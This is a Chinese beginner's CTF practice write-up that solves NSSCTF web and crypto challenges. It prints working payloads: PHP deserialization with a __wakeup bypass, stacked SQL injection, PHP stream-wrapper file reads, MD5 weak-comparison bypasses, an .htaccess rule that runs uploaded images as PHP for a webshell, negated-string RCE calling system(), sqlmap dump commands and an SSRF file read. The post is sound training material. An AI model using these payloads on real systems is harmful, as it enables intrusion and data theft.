[SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ②
[SWPUCTF] 2021 新生赛(NSSCTF刷题记录wp)
-
- [SWPUCTF 2021 新生赛]no_wakeup
- [鹤城杯 2021]easy_crypto
- [suctf 2019]EasySQL
- [ZJCTF 2019]NiZhuanSiWei
- [强网拟态 2021]拟态签到题
- [BJDCTF 2020]easy_md5
- [SWPUCTF 2021 新生赛]easyupload3.0
- [SWPUCTF 2021 新生赛]hardrce
- [SWPUCTF 2021 新生赛]PseudoProtocols
- [SWPUCTF 2021 新生赛]crypto7
- [SWPUCTF 2021 新生赛]crypto8
- [SWPUCTF 2021 新生赛]error
- [NISACTF 2022]easyssrf
NSSCTF平台:https://www.nssctf.cn/
[SWPUCTF 2021 新生赛]no_wakeup
考点:反序列化
<?phpheader("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");class HaHaHa{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __wakeup(){$this->passwd = sha1($this->passwd);}public function __destruct(){if($this->admin === "admin" && $this->passwd === "wllm"){include("flag.php");echo $flag;}else{echo $this->passwd;echo "No wake up";}}}$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);?
这里需要使得admin=admin
并且passwd=wllm
即可获取flag
但是这里还需要绕过__wakeup()
函数其实这里存在CVE-2016-7124
漏洞
Payload:?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
NSSCTF{5acad0c1-bc24-410e-bffe-6c8896d54e46}
[鹤城杯 2021]easy_crypto
社会主义核心价值观编码:https://sym233.github.io/core-values-encoder/
NSSCTF{IlUqU9O5guX6YiITsRNPiQmbhNRjGuTP}
[suctf 2019]EasySQL
考点:堆叠注入
输入0
没反应输入1
有 因为过滤了很多参数 这里我们直接堆叠注入即可。
1; show database; ## 爆数据库名
1; show tables; ## 爆数据表
之前第一篇的使用有讲过可以猜测 所以用到*
查看所有 *1,
(不太会sql
只能记命令,呜呜呜)
[ZJCTF 2019]NiZhuanSiWei
考点:代码审计和伪协议
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){echo "Not now!";exit(); }else{include($file); //useless.php$password = unserialize($password);echo $password;}
}
else{highlight_file(__FILE__);
}
?>
这里来看一下代码大概的意思 这里有3
个GET
传参 先来看第一个if
- isset()函数:用于检测变量是否已设置并且非NUL
- file_get_contents()函数 :把整个文件读入一个字符串中
如果传入的text
不为空;那么file_get_contents
到text
的内容必须等于后面的welcome to the zjctf
这可以通过伪协议去绕过第一个if
:?text=data://text/plain,welcome to the zjctf
preg_match() 函数:执行正则表达式匹配,文件中不能出现flag。我们先尝试直接访问useless.php
通过php://
读取到uselist.php
文件内容:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY&file=php://filter/read=convert.base64-encode/resource=useless.php
解码后源代码:
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");} }
}
?>
使用在线工具:https://c.runoob.com/compile/1/ 序列化对象后赋值,查看源码得到flag
<?phpclass Flag{ //flag.php public $file="flag.php"; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");} }
}
$a=new Flag();
echo serialize($a);
?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
O #对象 变量类型
4 #类的长度
1 ## 属性数量(类的变量个数)
s # 代表字符串
Payload:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
NSSCTF{05a42800-8e18-4a04-8fb3-266650e12f02}
[强网拟态 2021]拟态签到题
Base64解码:ZmxhZ3tHYXFZN0t0RXRyVklYMVE1b1A1aUVCUkNZWEVBeThyVH0=
NSSCTF{GaqY7KtEtrVIX1Q5oP5iEBRCYXEAy8rT}
[BJDCTF 2020]easy_md5
考点:ffifdyop
绕过
随便输点然后抓个包有个hint
提示 ffifdyop
绕过
ffifdyop
这个字符串被 md5
哈希了之后会变成 276f722736c95d99e921722cf9ed621c,
这个字符串前几位刚好是' or '6
而 Mysql
刚好又会把 hex
转成 ascii
解释,因此拼接之后的形式是select * from 'admin' where password='' or '6xxxxx'
,等价于 or
一个永真式,因此相当于万能密码,可以绕过md5()
函数
弱类型比较 直接可以用科学计数法0e
进行绕过 Payload:?a=s1091221200a&b=s155964671a
240610708
0e462097431906509019562988736854NKCDZO
0e830400451993494058024219903391s878926199a
0e545993274517709034328855841020s155964671a
0e342768416822451524974117254469s214587387a
0e848240448830537924465865611904s214587387a
0e848240448830537924465865611904s878926199a
0e545993274517709034328855841020s1091221200a
0e940624217856561557816327384675s1885207154a
0e509367213418206700842008763514s1502113478a
0e861580163291561247404381396064s1885207154a
0e509367213418206700842008763514s1836677006a
0e481036490867661113260034900752s155964671a
0e342768416822451524974117254469s1184209335a
0e072485820392773389523109082030s1665632922a
0e731198061491163073197128363787s1502113478a
0e861580163291561247404381396064s1836677006a
0e481036490867661113260034900752
这里还有一关代码审计 判断两个参数不相等 且md5
值相等 所以这里需要数组绕过
param1[]=1¶m2[]=2
<?php
error_reporting(0);
include "flag.php";highlight_file(__FILE__);if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){echo $flag;
}
NSSCTF{7c1a1f48-e3b1-4c3c-a876-84698ea47e20}
这flag提交不对哇擦~
[SWPUCTF 2021 新生赛]easyupload3.0
考点:.htaccess
解析图片马
这里新建一个a.htaccess
内容如下,然后在上传123.jpg
就可以解析了 然后上传成功使用蚁剑连接
<FilesMatch "123.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
NSSCTF{92184fe5-dadd-4cb1-98d2-5c553065110d}
[SWPUCTF 2021 新生赛]hardrce
考点:无字母RCE
这里参考大佬的文章:无字母RCE
无数字字母rce
:就是不利用数字和字母构造出webshell
,从而能够执行我们的命令
主要用到两种方法:1.异或 2.取反两种方法,这两种方法是目前来看最实用的两种方法。
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{$wllm = $_GET['wllm'];$blacklist = [' ','\\t','\\r','\\n','\\+','\\[','\\^','\\]','\\"','\\-','\\$','\\*','\\?','\\<','\\>','\\=','\\`',];foreach ($blacklist as $blackitem){if (preg_match('/' . $blackitem . '/m', $wllm)) {die("LTLT说不能用这些奇奇怪怪的符号哦!");}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!
这里参考大佬博客:https://blog.csdn.net/miuzzx/article/details/109143413
system是(~%8C%86%8C%8B%9A%92)
?wllm=~(~%8C%86%8C%8B%9A%92)(~%93%8c%df%d0);
脚本(套神):
s = "ls"
for i in range(len(s)):print('%'+str(hex((255)-ord(s[i]))[2:]),end='')
然后cat /flllllaaaaaaggggggg
即可。
?wllm=~(~%8C%86%8C%8B%9A%92)(~%8b%9e%9c%df%d0%99%93%93%93%93%93%9e%9e%9e%9e%9e%9e%98%98%98%98%98%98%98);
[SWPUCTF 2021 新生赛]PseudoProtocols
考点:伪协议
这里给了提示找到hint.php
然后url
里面有个wllm
参数 直接使用伪协议然后访问test2222222222222.php
进行代码审计
Payload:php://filter/read/convert.base64-encode/resource=hint.php
Base64解码:PD9waHANCi8vZ28gdG8gL3Rlc3QyMjIyMjIyMjIyMjIyLnBocA0KPz4=
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){echo "success\\n";echo $flag;
}
?>
a
参数利用file_get_contents()
函数已只读的方式打开,如果内容等于I want flag
的话输出flag
。
可以使用两种:
①:php://input
打开文件流后,我们直接在流里面写入我们的恶意代码,此时包含既可执行代码。
②:data://
本身是数据流封装器,其原理和用法跟php://input
类似,但是是发送GET
请求参数。
PayLoad:?a=data://text/plain,I want flag
NSSCTF{208f041b-4756-4c52-96ae-b07e84395615}
[SWPUCTF 2021 新生赛]crypto7
MD5解密:https://www.cmd5.com/
NSSCTF{md5yyds}
[SWPUCTF 2021 新生赛]crypto8
uuencode
解码:http://www.metools.info/master/uuencode158.html
NSSCTF{cheese_is_power}
[SWPUCTF 2021 新生赛]error
考点:sqlmap
的使用
随便输入一个1’ 发现报错 存在字符型注入
直接使用sqlmap
工具:
sqlmap -u "http://node2.anna.nssctf.cn:28060/index.php?id=1'" --dbs #列出数据库
sqlmap -u "http://node2.anna.nssctf.cn:28060/index.php?id=1'" -D test_test --tables #列出表
sqlmap -u "http://node2.anna.nssctf.cn:28060/index.php?id=1'" -D test_db -T test_tb --columns #列出字段
sqlmap -u "http://node2.anna.nssctf.cn:28060/index.php?id=1'" -D test_db -T test_tb -C flag --dump #查看flag值
NSSCTF{1b1761ce-d458-4f91-8912-11c62cda2779}
[NISACTF 2022]easyssrf
这里直接使用file://
读取在/fl4g
下面得到了一个ha1x1xu1u.php
<?phphighlight_file(__FILE__);
error_reporting(0);$file = $_GET["file"];
if (stristr($file, "file")){die("你败了.");
}//flag in /flag
echo file_get_contents($file);
Payload:?file=php://filter/read/convert.base64-encode/resource=/flag
NSSCTF{6347b3f0-35b6-42de-92b2-32d6114f6a63}
🆗感谢大家观看 第二篇就先到这里了,我也是刚入门,希望对刚入门CTF想刷题的小伙伴有帮助感谢大家的支持!